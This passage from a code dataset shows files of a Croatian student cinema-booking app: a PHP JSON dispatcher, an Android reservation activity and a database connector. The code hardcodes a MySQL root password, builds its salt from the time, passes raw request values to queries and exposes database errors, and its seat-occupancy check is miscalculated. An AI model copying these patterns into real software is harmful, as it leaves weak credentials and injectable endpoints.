Filmovi::DohvatiNekeFilmove($_GET['aktualno'], $bezOvihFilmova);\r\n echo json_encode($filmovi);\r\n }\r\n \r\n // sve projekcije \r\n else if ($_GET['tip'] == 'projekcije')\r\n {\r\n require_once 'filmovi.php';\r\n $projekcije = Filmovi::DohvatiSveProjekcije($_GET['film'], $_GET['multipleks']);\r\n echo json_encode($projekcije);\r\n }\r\n \r\n // projekcije na današnji dan\r\n else if ($_GET['tip'] == 'projekcijeDanas')\r\n {\r\n require_once 'filmovi.php';\r\n $datum = date('Y-m-d');\r\n $projekcije = Filmovi::DohvatiProjekcijeNaDan($_GET['film'], $_GET['multipleks'], $datum);\r\n echo json_encode($projekcije);\r\n }\r\n \r\n // sve projekcije za multipleks\r\n else if ($_GET['tip'] == 'projekcijeMultipleks')\r\n {\r\n require_once 'filmovi.php';\r\n $bezOvihProjekcija = $_POST['bezOvihProjekcija'];\r\n $projekcije = Filmovi::DohvatiProjekcijeMultipleks($_GET['multipleks'], $bezOvihProjekcija);\r\n echo json_encode($projekcije);\r\n }\r\n // sjedala za projekciju\r\n else if ($_GET['tip'] == 'sjedalaProjekcija')\r\n {\r\n require_once 'filmovi.php'; \r\n $sjedala = Filmovi::DohvatiSjedalaProjekcija($_GET['projekcija']);\r\n echo json_encode($sjedala);\r\n }\r\n //rezervacija ulaznica\r\n else if($_GET['tip'] == 'rezervacija')\r\n {\r\n require_once 'filmovi.php'; \r\n $sjedala = $_POST['sjedala'];\r\n $korisnik = $_POST['korisnik'];\r\n $projekcija = $_POST['projekcija'];\r\n \r\n $uspjesno = Filmovi::Rezerviraj($projekcija,$korisnik, $sjedala);\r\n echo json_encode($uspjesno);\r\n }\r\n //moje rezervacije\r\n\r\n //moje rezervacije\r\n else if($_GET['tip'] == 'obrisirezervaciju')\r\n {\r\n require_once 'filmovi.php'; \r\n\t$korisnickoIme = $_POST['korisnickoime'];\r\n $projekcija = $_POST['projekcija'];\r\n \r\n $uspjesno = Filmovi::ObrisiMojuRezervaciju($korisnickoIme, $projekcija);\r\n echo json_encode($uspjesno);\r\n }\r\n // projekcije na odreÄ‘eni dan\r\n else if ($_GET['tip'] == 'projekcijeNaDan')\r\n {\r\n require_once 'filmovi.php';\r\n $godina = $_GET['godina'];\r\n $mjesec = sprintf('%02d', $_GET['mjesec']);\r\n $dan = sprintf('%02d', $_GET['dan']);\r\n $datum = \"$godina-$mjesec-$dan\";\r\n $projekcije = Filmovi::DohvatiProjekcijeNaDan($_GET['film'], $_GET['multipleks'], $datum);\r\n echo json_encode($projekcije);\r\n }\r\n \r\n // prijava korisnika\r\n else if ($_GET['tip'] == 'prijava')\r\n {\r\n require_once 'korisnici.php';\r\n $korisnik = Korisnici::PrijaviSe($_POST['korisnickoIme'], $_POST['lozinka']);\r\n echo json_encode($korisnik);\r\n }\r\n \r\n // registracija korisnika\r\n else if ($_GET['tip'] == 'registracija')\r\n {\r\n require_once 'korisnici.php';\r\n $podaci = array();\r\n $podaci['korisnickoIme'] = $_POST['korisnickoIme'];\r\n $podaci['salt'] = hash('sha512', time());\r\n $podaci['lozinka'] = hash('sha512', $_POST['lozinka'] . $podaci['salt']);\r\n $podaci['ime'] = $_POST['ime'];\r\n $podaci['prezime'] = $_POST['prezime'];\r\n $podaci['email'] = $_POST['email'];\r\n $podaci['telefon'] = $_POST['telefon'];\r\n $povratnaInformacija = Korisnici::RegistrirajSe($podaci);\r\n echo json_encode($povratnaInformacija);\r\n }\r\n \r\n // dohvat multipleksa\r\n else if ($_GET['tip'] == 'multipleksi')\r\n {\r\n require_once 'DB_connect.php';\r\n $upit = \"SELECT * FROM multipleksi\";\r\n $multipleksi = UpitUBazu($upit);\r\n echo json_encode($multipleksi);\r\n }\r\n \r\n // dohvat velikih slika\r\n else if ($_GET['tip'] == 'slike')\r\n {\r\n switch ($_GET['id'])\r\n {\r\n case \"2\": header(\"Location: http://i.imgur.com/41duaTf.jpg\"); break;\r\n case \"3\": header(\"Location: http://i.imgur.com/Lz9I5IV.jpg\"); break;\r\n case \"4\": header(\"Location: http://i.imgur.com/5QHm0os.jpg\"); break;\r\n case \"5\": header(\"Location: http://i.imgur.com/W4ES8Cy.jpg\"); break;\r\n case \"6\": header(\"Location: http://i.imgur.com/ikGcaAB.jpg\"); break;\r\n case \"7\": header(\"Location: http://i.imgur.com/MzjVnsg.jpg\"); break;\r\n case \"8\": header(\"Location: http://i.imgur.com/M7MnWkj.jpg\"); break;\r\n case \"9\": header(\"Location: http://i.imgur.com/A9DfZlk.jpg\"); break;\r\n case \"10\": header(\"Location: http://i.imgur.com/VKTJTOV.jpg\"); break;\r\n \r\n case \"11\": header(\"Location: http://i.imgur.com/b4xOyuV.jpg\"); break;\r\n case \"12\": header(\"Location: http://i.imgur.com/LCJFEUG.jpg\"); break;\r\n case \"13\": header(\"Location: http://i.imgur.com/JJOt68E.jpg\"); break;\r\n case \"14\": header(\"Location: http://i.imgur.com/P2FxpMW.jpg\"); break;\r\n case \"15\": header(\"Location: http://i.imgur.com/TU0Z9iw.jpg\"); break;\r\n case \"16\": header(\"Location: http://i.imgur.com/yd5Ogel.jpg\"); break;\r\n case \"17\": header(\"Location: http://i.imgur.com/TYWQOH8.jpg\"); break;\r\n case \"18\": header(\"Location: http://i.imgur.com/RznPMMI.jpg\"); break;\r\n case \"19\": header(\"Location: http://i.imgur.com/X7PtQu4.jpg\"); break;\r\n case \"20\": header(\"Location: http://i.imgur.com/cmODA5w.jpg\"); break;\r\n \r\n case \"21\": header(\"Location: http://i.imgur.com/alUguKF.jpg\"); break;\r\n case \"22\": header(\"Location: http://i.imgur.com/nGHZK2L.jpg\"); break;\r\n case \"23\": header(\"Location: http://i.imgur.com/4f7JLUL.jpg\"); break;\r\n case \"24\": header(\"Location: http://i.imgur.com/K53NSsu.jpg\"); break;\r\n case \"25\": header(\"Location: http://i.imgur.com/yjoEYrl.jpg\"); break;\r\n case \"26\": header(\"Location: http://i.imgur.com/ftgC6GD.jpg\"); break;\r\n case \"27\": header(\"Location: http://i.imgur.com/OlSyMT5.jpg\"); break;\r\n case \"28\": header(\"Location: http://i.imgur.com/W2PgXVM.jpg\"); break;\r\n case \"29\": header(\"Location: http://i.imgur.com/R6Nfg64.jpg\"); break;\r\n case \"30\": header(\"Location: http://i.imgur.com/xu5dxMn.jpg\"); break;\r\n \r\n case \"31\": header(\"Location: http://i.imgur.com/OT1S7Ab.jpg\"); break;\r\n case \"32\": header(\"Location: http://i.imgur.com/LBVVjKB.jpg\"); break;\r\n case \"33\": header(\"Location: http://i.imgur.com/xlyP7ey.jpg\"); break;\r\n case \"34\": header(\"Location: http://i.imgur.com/ycV5Jbm.jpg\"); break;\r\n case \"35\": header(\"Location: http://i.imgur.com/SFvYvfO.jpg\"); break;\r\n case \"36\": header(\"Location: http://i.imgur.com/8ksN3w7.jpg\"); break;\r\n case \"37\": header(\"Location: http://i.imgur.com/RISNSTL.jpg\"); break;\r\n case \"38\": header(\"Location: http://i.imgur.com/GVMkesY.jpg\"); break;\r\n case \"39\": header(\"Location: http://i.imgur.com/J1PSoao.jpg\"); break;\r\n case \"40\": header(\"Location: http://i.imgur.com/ma4wI5O.jpg\"); break;\r\n \r\n case \"41\": header(\"Location: http://i.imgur.com/bvyvVZH.jpg\"); break;\r\n case \"42\": header(\"Location: http://i.imgur.com/H0lry9h.jpg\"); break;\r\n case \"43\": header(\"Location: http://i.imgur.com/az7PGpb.jpg\"); break;\r\n case \"44\": header(\"Location: http://i.imgur.com/vPPo6id.jpg\"); break;\r\n case \"45\": header(\"Location: http://i.imgur.com/ikNySIx.jpg\"); break;\r\n case \"46\": header(\"Location: http://i.imgur.com/4NEJUfJ.jpg\"); break;\r\n case \"47\": header(\"Location: http://i.imgur.com/tYhjKwx.jpg\"); break;\r\n case \"48\": header(\"Location: http://i.imgur.com/Xnl2Jfm.jpg\"); break;\r\n case \"49\": header(\"Location: http://i.imgur.com/lmsD41e.jpg\"); break;\r\n }\r\n }\r\n \r\n \r\n // dohvat malih slika\r\n else if ($_GET['tip'] == 'slikemale')\r\n {\r\n\tswitch ($_GET['id'])\r\n\t{\r\n\t case \"2\": header(\"Location: http://i.imgur.com/fhuwmjN.jpg\"); break;\r\n case \"3\": header(\"Location: http://i.imgur.com/shncnOp.jpg\"); break;\r\n case \"4\": header(\"Location: http://i.imgur.com/l1ZkxI2.jpg\"); break;\r\n case \"5\": header(\"Location: http://i.imgur.com/YQbfygu.jpg\"); break;\r\n case \"6\": header(\"Location: http://i.imgur.com/oPdiKUZ.jpg\"); break;\r\n case \"7\": header(\"Location: http://i.imgur.com/NBsc8a0.jpg\"); break;\r\n case \"8\": header(\"Location: http://i.imgur.com/xI5ayDs.jpg\"); break;\r\n case \"9\": header(\"Location: http://i.imgur.com/zNTEjWw.jpg\"); break;\r\n case \"10\": header(\"Location: http://i.imgur.com/Gpb6t9t.jpg\"); break;\r\n \r\n case \"11\": header(\"Location: http://i.imgur.com/6CdX34K.jpg\"); break;\r\n case \"12\": header(\"Location: http://i.imgur.com/CD5y8OS.jpg\"); break;\r\n case \"13\": header(\"Location: http://i.imgur.com/9jJXkJs.jpg\"); break;\r\n case \"14\": header(\"Location: http://i.imgur.com/NJlzEih.jpg\"); break;\r\n case \"15\": header(\"Location: http://i.imgur.com/tfCJrV6.jpg\"); break;\r\n case \"16\": header(\"Location: http://i.imgur.com/aQqIrbx.jpg\"); break;\r\n case \"17\": header(\"Location: http://i.imgur.com/rLuAtwh.jpg\"); break;\r\n case \"18\": header(\"Location: http://i.imgur.com/xVkne5N.jpg\"); break;\r\n case \"19\": header(\"Location: http://i.imgur.com/BTxPbMM.jpg\"); break;\r\n case \"20\": header(\"Location: http://i.imgur.com/mtWD9es.jpg\"); break;\r\n \r\n case \"21\": header(\"Location: http://i.imgur.com/uDhILCV.jpg\"); break;\r\n case \"22\": header(\"Location: http://i.imgur.com/SNU5hAY.jpg\"); break;\r\n case \"23\": header(\"Location: http://i.imgur.com/Y3CwUNK.jpg\"); break;\r\n case \"24\": header(\"Location: http://i.imgur.com/Y0l9Q4z.jpg\"); break;\r\n case \"25\": header(\"Location: http://i.imgur.com/ssnK6Vm.jpg\"); break;\r\n case \"26\": header(\"Location: http://i.imgur.com/v1h7CAi.jpg\"); break;\r\n case \"27\": header(\"Location: http://i.imgur.com/zjbVdfr.jpg\"); break;\r\n case \"28\": header(\"Location: http://i.imgur.com/fQfICzc.jpg\"); break;\r\n case \"29\": header(\"Location: http://i.imgur.com/DNfo0aF.jpg\"); break;\r\n case \"30\": header(\"Location: http://i.imgur.com/ycJ8KLs.jpg\"); break;\r\n \r\n case \"31\": header(\"Location: http://i.imgur.com/z8Hd68m.jpg\"); break;\r\n case \"32\": header(\"Location: http://i.imgur.com/Ewhy0AZ.jpg\"); break;\r\n case \"33\": header(\"Location: http://i.imgur.com/XXxwvIC.jpg\"); break;\r\n case \"34\": header(\"Location: http://i.imgur.com/Dpp0M94.jpg\"); break;\r\n case \"35\": header(\"Location: http://i.imgur.com/WVtj1mL.jpg\"); break;\r\n case \"36\": header(\"Location: http://i.imgur.com/CAiV3FU.jpg\"); break;\r\n case \"37\": header(\"Location: http://i.imgur.com/xuuSCoM.jpg\"); break;\r\n case \"38\": header(\"Location: http://i.imgur.com/dVUNbps.jpg\"); break;\r\n case \"39\": header(\"Location: http://i.imgur.com/DETgBHh.jpg\"); break;\r\n case \"40\": header(\"Location: http://i.imgur.com/1giMHc5.jpg\"); break;\r\n \r\n case \"41\": header(\"Location: http://i.imgur.com/vHGma35.jpg\"); break;\r\n case \"42\": header(\"Location: http://i.imgur.com/5RqA71y.jpg\"); break;\r\n case \"43\": header(\"Location: http://i.imgur.com/pje2KYS.jpg\"); break;\r\n case \"44\": header(\"Location: http://i.imgur.com/ExWIfhd.jpg\"); break;\r\n case \"45\": header(\"Location: http://i.imgur.com/fZFGUJ6.jpg\"); break;\r\n case \"46\": header(\"Location: http://i.imgur.com/NCy0e8k.jpg\"); break;\r\n case \"47\": header(\"Location: http://i.imgur.com/6xXmYyG.jpg\"); break;\r\n case \"48\": header(\"Location: http://i.imgur.com/qCOpBtG.jpg\"); break;\r\n case \"49\": header(\"Location: http://i.imgur.com/ArseZX8.jpg\"); break;\r\n\t}\r\n }\r\n \r\n // pogreška\r\n else\r\n {\r\n echo \"Nisu uneseni parametri\";\r\n }\r\n?> "},{"alpha_fraction":0.6528083682060242,"alphanum_fraction":0.6554985046386719,"avg_line_length":31.516393661499023,"blob_id":"83af44dc42919d4ca40697d7fda221e2a07a7ac1","content_id":"8b3de4cde2cbb6904e63af24ab4b5bab63d718d4","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":12286,"license_type":"no_license","max_line_length":149,"num_lines":366,"path":"/client-side/src/hr/air/mkino/RezervacijaActivity.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino;\r\n\r\n\r\n\r\nimport java.util.ArrayList;\r\nimport java.util.Iterator;\r\nimport java.util.List;\r\n\r\nimport hr.air.mkino.baza.MultipleksAdapter;\r\nimport hr.air.mkino.baza.PrijavljeniKorisnikAdapter;\r\n\r\nimport hr.air.mkino.baza.ProjekcijeAdapter;\r\nimport hr.air.mkino.core.Prijava;\r\nimport hr.air.mkino.server.JsonDohvatiSjedala;\r\nimport hr.air.mkino.server.JsonRezervacija;\r\nimport hr.air.mkino.sucelja.ISlikaFilma;\r\nimport hr.air.mkino.tipovi.Korisnik;\r\nimport hr.air.mkino.tipovi.MultipleksInfo;\r\nimport hr.air.mkino.tipovi.ProjekcijaInfo;\r\nimport hr.air.mkino.tipovi.RezervacijaInfo;\r\nimport hr.air.mkino.uzorcidizajna.UcitajSlikuFactory;\r\n\r\nimport android.app.Activity;\r\nimport android.app.AlertDialog;\r\nimport android.app.Dialog;\r\nimport android.content.Context;\r\nimport android.content.DialogInterface;\r\n\r\nimport android.content.Intent;\r\nimport android.os.Bundle;\r\n\r\nimport android.view.View;\r\n\r\nimport android.view.Window;\r\nimport android.view.View.OnClickListener;\r\n\r\nimport android.widget.Button;\r\nimport android.widget.ImageView;\r\n\r\nimport android.widget.TextView;\r\nimport android.widget.Toast;\r\n/**\r\n * Ovom su klasom ostvarene rezervacije.\r\n * @author bstivic\r\n *\r\n */\r\npublic class RezervacijaActivity extends Activity {\r\n\t\r\n\tCharSequence[] sjedalaPrikaz = {};\r\n\tboolean [] sjedalaBool = {};\r\n\tList<Integer> sjedalaZauzeta = new ArrayList<Integer>();\r\n\tList<Integer> listaOdabranih = new ArrayList<Integer>();\r\n\tfinal int BROJ_SJEDALA = 60;\r\n\tfinal int OGRANICENJE_SJEDALA = 30;\r\n\tfinal Context con = this;\r\n\tboolean moguceRezervirati = true;\r\n\tint idProjekcije;\r\n\tProjekcijaInfo detaljiProjekcije;\r\n\t\r\n\t@Override\r\n\tprotected void onCreate(Bundle savedInstanceState) {\r\n\t\tsuper.onCreate(savedInstanceState);\r\n\t\tsetContentView(R.layout.activity_rezervacije);\r\n\t\tsetTitle(\"Rezervacija projekcije\");\r\n\t\t\r\n\t\tTextView sjedalaTV = (TextView) findViewById(R.id.rezervacije_sjedala_txt);\t\r\n\t\tButton btnMapaSjedala = (Button) findViewById(R.id.btn_rezervacije_mapa_sjedala);\r\n\t\tButton btnRezerviraj = (Button) findViewById(R.id.btn_rezervacija_rezerviraj);\r\n\t\tdetaljiProjekcije = dohvatiPodatkeZaProjekciju();\r\n\t\tprikaziPodatkeZaProjekciju(detaljiProjekcije);\r\n\t\tIntent i = getIntent();\t\r\n\r\n\t\tfinal int idProjekcijeUBazi = i.getIntExtra(\"idProjekcijeUBazi\", 0);\r\n\t\tidProjekcije = idProjekcijeUBazi;\r\n\t\tJsonDohvatiSjedala dhSj = new JsonDohvatiSjedala();\t\t\r\n\t\tsjedalaZauzeta = dhSj.dohvatiSjedala(idProjekcijeUBazi);\r\n\t\t\r\n\t\tmoguceRezervirati = provjeriZauzetost();\r\n\t\r\n\t\tfiltrirajSlobodnaSjedala();\r\n\r\n\t\t/* *\r\n\t\t * Ukoliko nije moguće rezervirati sjedala za odabranu projekciju iz pojedinih razloga, onda ćemo korisniku\r\n\t\t * zabraniti odabir sjedala, pregled mape i klik na rezervaciju!\r\n\t\t * */\r\n\t\tif(moguceRezervirati)\r\n\t\t{\r\n\t\t\tsjedalaTV.setOnClickListener(new OnClickListener() {\t\t\t\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void onClick(View v) {\t\t\t\r\n\t\t\t\t\tprikaziDijalog();\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\t\r\n\t\t\r\n\t\t\tfinal Dialog dialogSjedala = new Dialog(con);\r\n\t\t\tdialogSjedala.requestWindowFeature(Window.FEATURE_NO_TITLE);\r\n\t\t\tdialogSjedala.setContentView(R.layout.dialog_mapa_sjedala);\r\n\t\r\n\t\t\t\r\n\t\t\tbtnMapaSjedala.setOnClickListener(new OnClickListener() {\t\t\t\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void onClick(View v) {\r\n\t\t\t\t\tdialogSjedala.show();\r\n\t\t\t\t\tButton gumbZaIzlaz = (Button) dialogSjedala.findViewById(R.id.mapa_sjedala_nastavi_btn);\r\n\t\t\t\t\tgumbZaIzlaz.setOnClickListener(new OnClickListener() {\r\n\t\t\t\t\t\t@Override\r\n\t\t\t\t\t\tpublic void onClick(View v) {\r\n\t\t\t\t\t\t\tdialogSjedala.hide();\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t});\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\tbtnRezerviraj.setOnClickListener(new OnClickListener() {\t\t\t\r\n\t\t\t\t@Override\r\n\t\t\t\tpublic void onClick(View v) {\r\n\t\t\t\t\trezerviraj();\t\t\t\t\t\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tToast.makeText(this, R.string.rezervacija_nije_moguce_rezervirati, Toast.LENGTH_LONG).show();\r\n\t\t}\r\n\t}\r\n\t\r\n\t/*\r\n\t * Metoda koja prvo utvrđuje je li moguće izvršiti rezervaciju,\r\n\t * ukoliko nije moguće izvršiti rezervaciju korisniku se prikazuje poruka. \r\n\t * Ako korisnik nije odabrao sjedala za projekciju rezervacija se obustavlja i prikazuje se poruka.\r\n\t * Ukoliko su svi preuvjeti zadovoljeni nastavlja se korak rezervacije.\r\n\t * */\r\n\tpublic void rezerviraj()\r\n\t{\r\n\t\tPrijavljeniKorisnikAdapter prijavljeniKorisnik = new PrijavljeniKorisnikAdapter(this);\r\n\t\tKorisnik korisnik = prijavljeniKorisnik.dohvatiPrijavljenogKorisnika();\r\n\t\tContext context = this;\r\n \tPrijava prijava = new Prijava();\r\n\t\t\r\n\t\tif(!moguceRezervirati)\r\n\t\t{\r\n\t\t\tToast.makeText(this, R.string.rezervacija_nije_moguce_rezervirati, Toast.LENGTH_LONG).show();\r\n\t\t}\r\n\t\telse if(listaOdabranih.size() == 0)\r\n\t\t{\r\n\t\t\tToast.makeText(this, R.string.rezervacija_odaberite_sjedala, Toast.LENGTH_LONG).show();\r\n\t\t}\r\n\t\telse if( korisnik == null)\r\n\t\t{\r\n\t\t\tprijava.prikaziDijalog(context);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tJsonRezervacija jsonRezervacije = new JsonRezervacija();\r\n\t\t\tRezervacijaInfo rezervacija = jsonRezervacije.rezerviraj(korisnik.getKorisnickoIme(), idProjekcije, listaOdabranih);\r\n\t\t\tif(rezervacija == null)\r\n\t\t\t{\r\n\t\t\t\tAlertDialog.Builder builder = new AlertDialog.Builder(this);\r\n\t\t builder.setMessage(R.string.rezervacija_pogreska_kod_registracije)\r\n\t\t .setPositiveButton(R.string.rezervacija_shvacam, new DialogInterface.OnClickListener() {\r\n\t\t public void onClick(DialogInterface dialog, int id) {\r\n\t\t \t \r\n\t\t \r\n\t\t }\r\n\t\t });\r\n\t\t builder.show();\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tAlertDialog.Builder builder = new AlertDialog.Builder(this);\r\n\t\t builder.setTitle(R.string.rezervacija_uspjesna)\r\n\t\t \t\t.setMessage(\"Kod rezervacije: \" + rezervacija.getKodRezervacije())\r\n\t\t .setPositiveButton(R.string.rezervacija_nastavi, new DialogInterface.OnClickListener() {\r\n\t\t public void onClick(DialogInterface dialog, int id) {\r\n\t\t \t RezervacijaActivity.this.finish();\r\n\t\t \t Intent intent = new Intent(RezervacijaActivity.this, PocetnaActivity.class);\r\n\t\t startActivity(intent);\r\n\t\t }\r\n\t\t });\r\n\t\t builder.show();\r\n\t\t \r\n\t\t \r\n\t\t \r\n\t\t \r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\t\r\n\tpublic float IzracunajCijenu()\r\n\t{\r\n\t\treturn listaOdabranih.size() * detaljiProjekcije.getCijena();\r\n\t}\r\n\t/**\r\n\t * Metoda koja provjerava je li moguće rezervirati sjedala za projekciju. Ako je projekcija rezervirana više od 30% nije moguće rezervirati ulaznice\r\n\t * @return true ako je moguće, false ako je nemoguće\r\n\t */\r\n\tpublic boolean provjeriZauzetost()\r\n\t{\r\n\t\tfloat postotakZauzetosti = 0;\r\n\t\tif(sjedalaZauzeta.size() != 0 ) \r\n\t\t\tpostotakZauzetosti = BROJ_SJEDALA / sjedalaZauzeta.size()*100;\r\n\t\telse \r\n\t\t\treturn true;\r\n\t\tif(postotakZauzetosti <= 100-OGRANICENJE_SJEDALA)\r\n\t\t\treturn false;\r\n\t\telse\r\n\t\t\treturn true;\r\n\t}\r\n\r\n\t\r\n\t/**\r\n\t * Metoda koja služi za dohvaćanje podataka o projekciji\r\n\t * @return projekcija\r\n\t */\r\n\tprivate ProjekcijaInfo dohvatiPodatkeZaProjekciju() {\r\n\t\tIntent i = getIntent();\r\n\t\tint idProjekcijeUBazi = i.getIntExtra(\"idProjekcijeUBazi\", 0);\r\n\t\t\r\n\t\tProjekcijeAdapter pa = new ProjekcijeAdapter(this);\r\n\t\r\n\t\treturn pa.dohvatiProjekciju(idProjekcijeUBazi, this);\r\n\t}\r\n\t\r\n\t/**\r\n\t * Metoda koja služi za prikaz podataka o projekciji na osnovu proslijeđene projekcije\r\n\t * @param projekcija\r\n\t */\r\n\tprivate void prikaziPodatkeZaProjekciju(ProjekcijaInfo detaljiProjekcije) {\r\n\t\tTextView naslov = (TextView) findViewById(R.id.projekcija_naslov_filma);\r\n\r\n\t\tImageView slika = (ImageView) findViewById(R.id.projekcija_slikaFilma);\r\n\t\tTextView dvorana = (TextView) findViewById(R.id.txt_rezervacije_dvorana);\r\n\t\tTextView vrijeme = (TextView) findViewById(R.id.txt_rezervacije_vrijeme);\r\n\t\tTextView multipleks = (TextView) findViewById(R.id.txt_rezervacije_grad);\r\n\t\tTextView cijena = (TextView) findViewById(R.id.rezervacija_cijena);\r\n\t\tnaslov.setText(detaljiProjekcije.getNaziv());\r\n\t\tcijena.setText(\"0.00\");\r\n\t\tdvorana.setText(\"Dvorana \"+detaljiProjekcije.getDvorana());\t\t\r\n\t\tString vrijePocetkString = detaljiProjekcije.getVrijemePocetka();\r\n\t\tvrijeme.setText(vrijePocetkString);\r\n\t\t\r\n\t\t//dohvaćanje multipleksa iz lokalne baze podatka\r\n\t\tMultipleksAdapter ma = new MultipleksAdapter(this);\r\n\t\tMultipleksInfo multipl = ma.dohvatiMultipleks(detaljiProjekcije.getMultipleks());\r\n\t\tif(multipl != null) multipleks.setText(multipl.getNaziv());\t\t\r\n\t\t\r\n\t\tISlikaFilma sf = UcitajSlikuFactory.ucitaj(this, detaljiProjekcije.getIdFilma(), true);\r\n\t\tslika.setImageBitmap(sf.dohvatiVelikuSliku());\r\n\t\t\r\n\t}\r\n\r\n\t/**\r\n\t * Metoda koja služi za prikaz dijaloga sa popisom slobodnih sjedala\r\n\t * Nakon odabira sjedala navedeni se spremaju u listu odabranih sjedala\r\n\t */\r\n\tprivate void prikaziDijalog(){\t\t\t\r\n\t\tAlertDialog.Builder builder = new AlertDialog.Builder(this);\r\n builder.setTitle(R.string.odabir_sjedala_txt_odaberi_sjedalo) \r\n .setMultiChoiceItems(sjedalaPrikaz, sjedalaBool,\r\n new DialogInterface.OnMultiChoiceClickListener() {\r\n @Override\r\n public void onClick(DialogInterface dialog, int which,\r\n boolean isChecked) {\r\n \t String parsiran = (String) sjedalaPrikaz[which];\r\n \t String[] pars = parsiran.split(\" \");\r\n if (isChecked) {\r\n // If the user checked the item, add it to the selected items \t\r\n \t listaOdabranih.add(Integer.parseInt(pars[1]));\r\n } else \r\n {\r\n \t for (Iterator<Integer> iter = listaOdabranih.listIterator(); iter.hasNext(); ) {\r\n \t\t int a = iter.next();\r\n \t\t int b = Integer.parseInt(pars[1]);\r\n \t\t if ( b == a) {\r\n \t\t iter.remove();\r\n \t\t }\r\n \t\t}\r\n \t\r\n }\r\n azurirajOdabranaMjesta();\r\n /*TODO prikazi cijenu na layoutu i invalidate napravi*/\r\n \r\n \r\n }\r\n }) \r\n .setPositiveButton(R.string.odabir_sjedala_btn_prihvati, new DialogInterface.OnClickListener() {\r\n public void onClick(DialogInterface dialog, int id) {\r\n // RezervacijaActivity.this.finish();\r\n }\r\n });\r\n \r\n builder.create().show(); \r\n\r\n\t}\r\n\r\n\t/**\r\n\t * Metoda koja ažurira popis odabranih mjesta\r\n\t */\r\n\tpublic void azurirajOdabranaMjesta()\r\n\t{\r\n\t\tTextView sjedalaTV = (TextView) findViewById(R.id.rezervacije_sjedala_txt);\t\r\n\t\tTextView cijena = (TextView) findViewById(R.id.rezervacija_cijena);\r\n\t\tif(listaOdabranih.size() == 0)\r\n\t\t{\r\n\t\t\tsjedalaTV.setText(R.string.odabir_sjedala_txt_odaberi_sjedalo);\r\n\t\t\tcijena.setText(\"0.00\");\r\n\t\t\tsjedalaTV.invalidate();\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tcijena.setText(Float.toString(IzracunajCijenu()));\r\n\t\t\tcijena.invalidate();\r\n\t\t\tString text = \"\";\r\n\t\t\tfor (Integer sjedalo : listaOdabranih) {\r\n\t\t\t\ttext += (\"\"+ Integer.toString(sjedalo)+\", \");\r\n\t\t\t}\r\n\t\t\ttext = text.substring(0,text.length()-3);\r\n\t\t\tsjedalaTV.setText(text);\r\n\t\t\tsjedalaTV.invalidate();\r\n\t\t}\r\n\t\t\r\n\t}\r\n\r\n\t/**\r\n\t * Metoda koja ubacuje slobodna sjedala u listu slobodnih sjedala, te dodjeljuje niz odabranih vrijednosti u checkboxu\r\n\t */\r\n\tpublic void filtrirajSlobodnaSjedala()\r\n\t{\r\n\t\t\r\n\t\tint indeksNiza = 0;\r\n\t\tif(sjedalaZauzeta != null)\r\n\t\t{\r\n\t\t\tint brojSlobodnihSj = BROJ_SJEDALA - sjedalaZauzeta.size();\r\n\t\t\tsjedalaBool = new boolean[brojSlobodnihSj];\r\n\t\t\tsjedalaPrikaz = new CharSequence[brojSlobodnihSj];\r\n\t\t\t\r\n\t\t\tfor (int i = 1; i<=BROJ_SJEDALA; i++)\r\n\t\t\t{\r\n\t\t\t\tif(!sjedalaZauzeta.contains(i))\r\n\t\t\t\t{\r\n\t\t\t\t\tsjedalaPrikaz[indeksNiza] = \"Sjedalo \" + Integer.toString(i);\r\n\t\t\t\t\tsjedalaBool[indeksNiza] = false;\r\n\t\t\t\t\tindeksNiza += 1;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tint brojSlobodnihSj = BROJ_SJEDALA;\r\n\t\t\tsjedalaBool = new boolean[brojSlobodnihSj];\r\n\t\t\tsjedalaPrikaz = new CharSequence[brojSlobodnihSj];\r\n\t\t\t\r\n\t\t\t//punimo nizove sa prikazom slobodnih sjedala i opcijom odabira checkboxa\r\n\t\t\tfor (int i = 1; i<=BROJ_SJEDALA; i++)\r\n\t\t\t{\t\t\t\t\r\n\t\t\t\tsjedalaPrikaz[indeksNiza] = \"Sjedalo \" +Integer.toString(i);\r\n\t\t\t\tsjedalaBool[indeksNiza] = false;\r\n\t\t\t\tindeksNiza += 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\r\n\t\r\n\t}\r\n}\r\n"},{"alpha_fraction":0.44540902972221375,"alphanum_fraction":0.4504173696041107,"avg_line_length":24.289474487304688,"blob_id":"6f2864fa2bee298a8a71e8a9290abace6266a067","content_id":"bbd104128d9a0c1b18b4aff7bbf33797b531e8a0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"PHP","length_bytes":3005,"license_type":"no_license","max_line_length":118,"num_lines":114,"path":"/server-side/Datoteke/skripte/DB_connect.php","repo_name":"dsitum/mKino","src_encoding":"UTF-8","text":"<?php\r\n //klasa za izvršavanje upita nad bazom\r\n define(\"HOST\", \"localhost\");\r\n define(\"USER\", \"root\");\r\n define(\"PASS\", \"123456\");\r\n define(\"BAZA\", \"airbaza\");\r\n\r\n class Upit {\r\n public $conn;\r\n\r\n function __construct() {\r\n $this->conn = new mysqli(HOST, USER, PASS, BAZA);\r\n if ($this->conn->connect_errno) {\r\n die('Pogreška pri spajanju na bazu podataka. Jesu li podaci ispravno uneseni? MySQL kaže: <br>'\r\n . $this->conn->connect_error);\r\n } \r\n $this->conn->set_charset(\"utf8\");\r\n }\r\n\r\n function Izvrsi($upit) {\r\n $rezultat = $this->conn->query($upit);\r\n\r\n if(! $rezultat) {\r\n die(\"Problem pri uonsu u bazu. MySQL kaže: <br>\" . $this->conn->error);\r\n } else {\r\n return $rezultat;\r\n }\r\n }\r\n\r\n function __destruct() 